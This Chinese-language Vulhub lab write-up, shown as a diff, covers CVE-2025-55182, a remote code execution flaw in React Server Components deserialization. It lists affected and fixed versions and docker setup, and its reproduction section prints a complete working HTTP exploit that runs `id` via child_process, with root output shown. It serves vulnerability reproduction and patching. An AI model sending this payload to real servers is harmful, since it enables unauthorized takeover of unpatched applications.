|
| 1 | +# React Server Components Flight 协议反序列化代码执行 CVE-2025-55182 |
| 2 | + |
| 3 | +## 漏洞描述 |
| 4 | + |
| 5 | +React Server Components (RSC) 是 React 的一项功能,允许开发者在服务器上渲染组件并将结果发送给客户端。 |
| 6 | + |
| 7 | +React Server Components 中存在一个未授权的远程代码执行漏洞。攻击者可以向任何 Server Function 端点发送精心构造的恶意 HTTP 请求,当 React 对该请求进行反序列化时,即可在服务器上实现远程代码执行。该漏洞影响 `react-server-dom-webpack`、`react-server-dom-parcel` 和 `react-server-dom-turbopack` 的 19.0 到 19.2.0 版本,以及依赖这些包的框架(如 Next.js)。 |
| 8 | + |
| 9 | +参考链接: |
| 10 | + |
| 11 | +- https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components |
| 12 | +- https://nextjs.org/blog/CVE-2025-66478 |
| 13 | +- https://github.com/ejpir/CVE-2025-55182-research |
| 14 | +- https://cloud.projectdiscovery.io/library/CVE-2025-55182 |
| 15 | +- https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc |
| 16 | + |
| 17 | +## 漏洞影响 |
| 18 | + |
| 19 | +受影响版本: |
| 20 | + |
| 21 | +``` |
| 22 | +react-server-dom-parcel 19.0, 19.1.0, 19.1.1, 19.2.0 |
| 23 | +react-server-dom-turbopack 19.0, 19.1.0, 19.1.1, 19.2.0 |
| 24 | +react-server-dom-webpack 19.0, 19.1.0, 19.1.1, 19.2.0 |
| 25 | +``` |
| 26 | + |
| 27 | +安全版本: |
| 28 | + |
| 29 | +``` |
| 30 | +react-server-dom-parcel 19.0.1, 19.1.2, 19.2.1 |
| 31 | +react-server-dom-turbopack 19.0.1, 19.1.2, 19.2.1 |
| 32 | +react-server-dom-webpack 19.0.1, 19.1.2, 19.2.1 |
| 33 | +``` |
| 34 | + |
| 35 | +## 环境搭建 |
| 36 | + |
| 37 | +虽然这个漏洞是出现于 React Server Components 中,但 Next.js 作为最流行的 React 框架,在 Next.js 15 版本后已经全面支持 React Server Components。因此,我们可以使用 Next.js 来复现漏洞。 |
| 38 | + |
| 39 | +Vulhub 执行如下命令启动一个存在漏洞的 Next.js 15.5.6 服务器: |
| 40 | + |
| 41 | +``` |
| 42 | +docker compose up -d |
| 43 | +``` |
| 44 | + |
| 45 | +环境启动后,访问 `http://your-ip:3000` 即可看到应用程序。 |
| 46 | + |
| 47 | + |
| 48 | + |
| 49 | +## 漏洞复现 |
| 50 | + |
| 51 | +该漏洞是由于 React Server Components 在解码 Payload 时的缺陷导致的。通过在序列化数据中注入特定字段,攻击者可以遍历原型链并执行任意代码。发送如下数据包,即可执行命令 `id`: |
| 52 | + |
| 53 | +``` |
| 54 | +POST / HTTP/1.1 |
| 55 | +Host: your-ip:3000 |
| 56 | +Next-Action: x |
| 57 | +Accept: */* |
| 58 | +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoQY2t4UYLMhGH8AS |
| 59 | +Content-Length: 141 |
| 60 | +
|
| 61 | +------WebKitFormBoundaryoQY2t4UYLMhGH8AS |
| 62 | +Content-Disposition: form-data; name="0" |
| 63 | +
|
| 64 | +{ |
| 65 | + "then": "$1:__proto__:then", |
| 66 | + "status": "resolved_model", |
| 67 | + "reason": -1, |
| 68 | + "value": "{\"then\":\"$B1337\"}", |
| 69 | + "_response": { |
| 70 | + "_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", |
| 71 | + "_chunks": "$Q2", |
| 72 | + "_formData": { |
| 73 | + "get": "$1:constructor:constructor" |
| 74 | + } |
| 75 | + } |
| 76 | +} |
| 77 | +------WebKitFormBoundaryoQY2t4UYLMhGH8AS |
| 78 | +Content-Disposition: form-data; name="1" |
| 79 | +
|
| 80 | +"$@0" |
| 81 | +------WebKitFormBoundaryoQY2t4UYLMhGH8AS |
| 82 | +Content-Disposition: form-data; name="2" |
| 83 | +
|
| 84 | +[] |
| 85 | +------WebKitFormBoundaryoQY2t4UYLMhGH8AS-- |
| 86 | +``` |
| 87 | + |
| 88 | +发送请求后,在响应头的 `x-action-redirect` 字段中可以看到 `id` 命令的执行结果: |
| 89 | + |
| 90 | +``` |
| 91 | +x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push |
| 92 | +``` |
| 93 | + |
| 94 | + |
| 95 | + |
| 96 | +## 漏洞修复 |
| 97 | + |
| 98 | +升级至最新版本。 |
0 commit comments